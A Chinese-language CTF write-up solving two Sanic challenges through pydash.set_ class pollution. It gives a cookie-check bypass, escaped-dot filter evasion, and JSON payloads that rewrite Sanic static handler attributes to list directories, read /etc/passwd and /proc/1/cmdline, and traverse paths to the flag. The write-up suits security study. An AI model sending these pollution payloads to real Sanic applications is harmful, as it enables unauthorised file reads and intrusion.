从ciscn2024 sanic和DASCTF2024 Sanic’s revenge 学sanic原型链污染 
四川回来 给机房带来了久违的流感
 
ciscn2024  sanic 访问/src给出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from  sanic import  Sanicfrom  sanic.response import  text, htmlfrom  sanic_session import  Sessionimport  pydashclass  Pollute :    def  __init__ (self ):         pass  app = Sanic(__name__) app.static("/static/" , "./static/" ) Session(app) @app.route('/' , methods=['GET' , 'POST' ] async  def  index (request ):    return  html(open ('static/index.html' ).read()) @app.route("/login"  async  def  login (request ):    user = request.cookies.get("user" )     if  user.lower() == 'adm;n' :         request.ctx.session['admin' ] = True          return  text("login success" )     return  text("login fail" ) @app.route("/src"  async  def  src (request ):    return  text(open (__file__).read()) @app.route("/admin" , methods=['GET' , 'POST' ] async  def  admin (request ):    if  request.ctx.session.get('admin' ) == True :         key = request.json['key' ]         value = request.json['value' ]         if  key and  value and  type (key) is  str  and  '_.'  not  in  key:             pollute = Pollute()             pydash.set_(pollute, key, value)             return  text("success" )         else :             return  text("forbidden" )     return  text("forbidden" ) if  __name__ == '__main__' :    app.run(host='0.0.0.0' ) 
cookies伪造 注意到/admin路由存在一个pydash.set_  不过调用的话需要session为admin
1 2 3 4 5 6 7 8 @app.route("/login"  async  def  login (request ):    user = request.cookies.get("user" )     if  user.lower() == 'adm;n' :         request.ctx.session['admin' ] = True          return  text("login success" )     return  text("login fail" ) 
显然 在cooikes里面直接使用adm;n是不行的 这个 cookies会把他作为另外一个值解析 下个断点调试一下看看有没有绕过方法
显然直接传递参数不行 
翻找sanic的源码 在cookies 目录的request.py文件下存在这样一个函数
这个函数是对所给的8进制字符串进行转换 
调用也很好找 当该字符的长度>2 同时字符串整体存在“”包裹的时候就会触发
成功提权成admin
pydash==5.12原型链污染 注意到传递一个键值和一个键名 会调用pydash.set_ 看看这个函数干了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 def  set_ (obj, path, value ):    """      Sets the value of an object described by `path`. If any part of the object path doesn't exist,     it will be created.     Args:         obj (list|dict): Object to modify.         path (str | list): Target path to set value to.         value (mixed): Value to set.     Returns:         mixed: Modified `obj`.     Warning:         `obj` is modified in place.     Example:         >>> set_({}, 'a.b.c', 1)         {'a': {'b': {'c': 1}}}         >>> set_({}, 'a.0.c', 1)         {'a': {'0': {'c': 1}}}         >>> set_([1, 2], '[2][0]', 1)         [1, 2, [1]]         >>> set_({}, 'a.b[0].c', 1)         {'a': {'b': [{'c': 1}]}}     .. versionadded:: 2.2.0     .. versionchanged:: 3.3.0         Added :func:`set_` as main definition and :func:`deep_set` as alias.     .. versionchanged:: 4.0.0         - Modify `obj` in place.         - Support creating default path values as ``list`` or ``dict`` based on whether key or index           substrings are used.         - Remove alias ``deep_set``.     """     return  set_with(obj, path, value) 
给了代码示例 很明显这是一个合并的操作 存在原型链污染的问题
注意到
1 2 3 4 5 @app.route("/src"  async  def  src (request ):    return  text(open (__file__).read()) 
标准的任意文件读取 污染file读取文件
翻找源码 注意到处理的这样一个逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 if  not  callable (updater):       updater = pyd.constant(updater)    if  customizer is  not  None  and  not  callable (customizer):        call_customizer = partial(callit, clone, customizer, argcount=1 )    elif  customizer:        call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3 ))    else :        call_customizer = None     default_type = dict  if  isinstance (obj, dict ) else  list     tokens = to_path_tokens(path) 
这里对传入的path使用to_path_tokens进行了处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def  to_path_tokens (value ):    """Parse `value` into :class:`PathToken` objects."""      if  pyd.is_string(value) and  ("."  in  value or  "["  in  value):                                    keys = [             PathToken(int (key[1 :-1 ]), default_factory=list )             if  RE_PATH_LIST_INDEX.match (key)             else  PathToken(unescape_path_key(key), default_factory=dict )             for  key in  filter (None , RE_PATH_KEY_DELIM.split(value))         ]     elif  pyd.is_string(value) or  pyd.is_number(value):         keys = [PathToken(value, default_factory=dict )]     elif  value is  UNSET:         keys = []     else :         keys = value     return  keys 
会尝试使用一个unescape_path_key作为路径解析的正则匹配符号
1 2 3 4 5 6 7 8 9 10 11 keys = [             PathToken(int (key[1 :-1 ]), default_factory=list )             if  RE_PATH_LIST_INDEX.match (key)             else  PathToken(unescape_path_key(key), default_factory=dict )             for  key in  filter (None , RE_PATH_KEY_DELIM.split(value))         ] def  unescape_path_key (key ):    """Unescape path key."""      key = key.replace(r"\\" , "\\" )     key = key.replace(r"\." , r"." )     return  key 
注意到这里处理的时候 吧\.作为.去处理 这样我们就能绕过_.的限制了
成功读取/etc/passwd
尝试读取flag
失败了 说明flag并不叫这个名字  寻找可以污染的变量
directory_view& directory_handler 注意到使用了这个函数static
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 def  static (        self,         uri: str ,         file_or_directory: Union [PathLike, str ],         pattern: str  = r"/?.+" ,         use_modified_since: bool  = True ,         use_content_range: bool  = False ,         stream_large_files: Union [bool , int ] = False ,         name: str  = "static" ,         host: Optional [str ] = None ,         strict_slashes: Optional [bool ] = None ,         content_type: Optional [str ] = None ,         apply: bool  = True ,         resource_type: Optional [str ] = None ,         index: Optional [Union [str , Sequence [str ]]] = None ,         directory_view: bool  = False ,         directory_handler: Optional [DirectoryHandler] = None ,      ):
这里提供了很多注册时初始化的变量
注意这两个值
1 2 3 4 5 6 7 directory_view (bool , optional): Whether to fallback to showing          the directory viewer when exposing a directory. Defaults          to `False `.      directory_handler (Optional [DirectoryHandler], optional): An          instance of DirectoryHandler that can be used for  explicitly          controlling and  subclassing the behavior of the default          directory handler. 
directory_view表示了是否开启列目录功能 
directory_handler表示了选择列出的目录
如果把view设置为true 然后把directory_handler 设置为/ 就能完成flag的读取
寻找directory_view相关的函数
注意到
如果没有设置directory_handler 但是开启了directory_view 会调用DirectoryHandler自动构造
和flask不太一样 sanic运行的app叫__mp_main__
可以从报错里面看出来
写一个eval函数打印一下
1 2 3 4 @app.route("/eval") async def shell(request):     answer=eval(request.args.get('cmd'))     return text("ok") 
1 http://127.0.0.1:8000/eval?cmd=print(app.router.name_index) 
里面包括了所有已经注册的路由
1 http://127.0.0.1:8000/eval?cmd=print(app.router.name_index['__mp_main__.static']) 
查看static下的属性成员
1 http://127.0.0.1:8000/eval?cmd=print(app.router.name_index['__mp_main__.static'].handler) 
可以看到找到了我们想要污染的东西
成功找到directory_view对象
成功找到directory_hander 注意到这里是列表的形式
1 2 3 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"} {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]} 
在static目录下可以看到flag
污染得到flag
DASCTF 2024暑期挑战赛 Sanic’s revenge 给了部分源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from  sanic import  Sanicimport  osfrom  sanic.response import  text, htmlimport  sysimport  randomimport  pydashclass  Pollute :    def  __init__ (self ):         pass  app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/*****secret********"  async  def  secret (request ):    secret='**************************'      return  text("can you find my route name ???" +secret) @app.route('/' , methods=['GET' , 'POST' ] async  def  index (request ):    return  html(open ('static/index.html' ).read()) @app.route("/pollute" , methods=['GET' , 'POST' ] async  def  POLLUTE (request ):    key = request.json['key' ]     value = request.json['value' ]     if  key and  value and  type (key) is  str  and  'parts'  not  in  key and  'proc'  not  in  str (value) and  type (value) is  not  list :         pollute = Pollute()         pydash.set_(pollute, key, value)         return  text("success" )     else :         log_dir = create_log_dir(6 )         log_dir_bak = log_dir + ".."          log_file = "/tmp/"  + log_dir + "/access.log"          log_file_bak = "/tmp/"  + log_dir_bak + "/access.log.bak"          log = 'key: '  + str (key) + '|'  + 'value: '  + str (value);                  os.system("mkdir /tmp/"  + log_dir)         with  open (log_file, 'w' ) as  f:             f.write(log)                  os.system("mkdir /tmp/"  + log_dir_bak)         with  open (log_file_bak, 'w' ) as  f:             f.write(log)         return  text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) if  __name__ == '__main__' :    app.run(host='0.0.0.0' ) 
显然可以直接完成污染
1 { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view" , "value" :  "True" } 
不过过滤了parts 没办法直接通过污染directory._parts完成注入
继续查看可以被污染的变量
1 file_or_directory(Union[PathLike,url]):静态文件的路径或包含静态文件的目录。 
1 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"} 
把static成功污染到/  可以读取任意文件   查看环境变量
对的 这个是假的flag 
由于我们不知道完整的app.py内容  尝试去读取
1 /proc/1/cmdline  里面储存了执行的命令 
成功读取到start.sh 的内容 得知了名字是2Q17A58T9F65y5i8,py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from  sanic import  Sanicimport  osfrom  sanic.response import  text, htmlimport  sysimport  randomimport  pydashclass  Pollute :    def  __init__ (self ):         pass  def  create_log_dir (n ):        ret = ""          for  i in  range (n):             num = random.randint(0 , 9 )             letter = chr (random.randint(97 , 122 ))             Letter = chr (random.randint(65 , 90 ))             s = str (random.choice([num, letter, Letter]))             ret += s         return  ret          app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/Wa58a1qEQ59857qQRPPQ"  async  def  secret (request ):    with  open ("/h111int" ,'r' ) as  f:        hint=f.read()     return  text(hint) @app.route('/' , methods=['GET' , 'POST' ] async  def  index (request ):    return  html(open ('static/index.html' ).read())     @app.route("/adminLook" , methods=['GET' ] async  def  AdminLook (request ):         log_dir=os.popen('ls /tmp -al' ).read();     return  text(log_dir)      @app.route("/pollute" , methods=['GET' , 'POST' ] async  def  POLLUTE (request ):    key = request.json['key' ]     value = request.json['value' ]     if  key and  value and  type (key) is  str  and  'parts'  not  in  key and  'proc'  not  in  str (value) and  type (value) is  not  list :         pollute = Pollute()         pydash.set_(pollute, key, value)         return  text("success" )     else :         log_dir=create_log_dir(6 )         log_dir_bak=log_dir+".."          log_file="/tmp/" +log_dir+"/access.log"          log_file_bak="/tmp/" +log_dir_bak+"/access.log.bak"          log='key: ' +str (key)+'|' +'value: ' +str (value);                  os.system("mkdir /tmp/" +log_dir)         with  open (log_file, 'w' ) as  f:              f.write(log)                  os.system("mkdir /tmp/" +log_dir_bak)         with  open (log_file_bak, 'w' ) as  f:              f.write(log)         return  text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) if  __name__ == '__main__' :    app.run(host='0.0.0.0' ) 
访问/Wa58a1qEQ59857qQRPPQ 得到hint、
不知道flag的名字是什么 还是没办法读取 需要找一个方法 类似directory._parts的东西去读取目录
起一个环境测试一下
1 2 3 4 5 6 7 8 app = Sanic(__name__) app.static("/static" , r"D:\Desktop\sanic" , directory_view=True ) Session(app) @app.route('/' , methods=['GET' , 'POST' ] async  def  index (request ):    return  html(open ('static/index.html' ).read()) 
handler 在 Sanic 中,_static_request_handler 是一个内部函数,用于处理静态文件请求
断点下到header这里
前面都是一些获取了请求头之后  对数据头的处理和分析
后面继续走下去 会调用return await directory_handler.handle(request, request.path) 方法
handle方法
1 current = path.strip("/")[len(self.base) :].strip("/")  
这里先将传入的path两端的斜杠去掉 然后去掉 self.base 的长度部分,然后再一次去除掉两端的斜杠 从而得到静态文件的相对路径
如果开启了directory_view 就会列出他的目录
这里的self.base这个属性我们是可以控制的,是handler里面的一个属性
但是这个path是我们访问的路径 也可以直接控制
如果修改这个值为.. 就能实现目录穿越
现在就要寻找一个可以使得值变成..的方法
注意到
1 2 3 4 path="/static/tmp/aaaaaa.."  base="static/tmp/aaaaaa"  current = path.strip("/" )[len (base) :].strip("/" ) print (current)
输出
只要存在一个已知目录 访问/目录../ 即可造成目录穿越
在目录下创建一个test文件夹
访问http://127.0.0.1:8888/static/test../ 
然后把self.base的值设置成static/test
成功穿越
解题 先污染file_or_directory 为tmp目录
1 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"} 
然后污染base的值为static/存在的文件夹名(adminlook可知)
1 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.directory_handler.base","value": "static/qrt4t8"} 
成功返回了static上一层的flag名字 45W698WqtsgQT1_flag
然后读取即可